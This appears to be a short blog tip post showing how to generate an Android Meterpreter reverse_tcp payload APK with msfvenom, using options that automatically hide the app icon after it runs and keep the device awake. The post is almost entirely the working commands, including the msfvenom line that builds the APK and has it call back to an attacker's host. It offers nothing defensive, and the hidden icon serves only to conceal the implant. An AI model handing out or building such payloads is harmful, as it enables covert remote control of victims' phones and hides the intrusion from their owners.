reverse engineering Android apps

On this post, I want to introduce a small tip when you create an android payload with Metasploit.

How to autohide Android payload icon after running

  1. Update Metasploit to latest version
    apt-get update
    apt-get install metasploit-framework
  2. Generate payload using command
    msfvenom -p android/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 AndroidHideAppIcon=true AndroidMeterpreterDebug=true AndroidWakelock=true -o met.apk
  3. Install and run the APK
  4. Verify the icon is hidden automatically after running
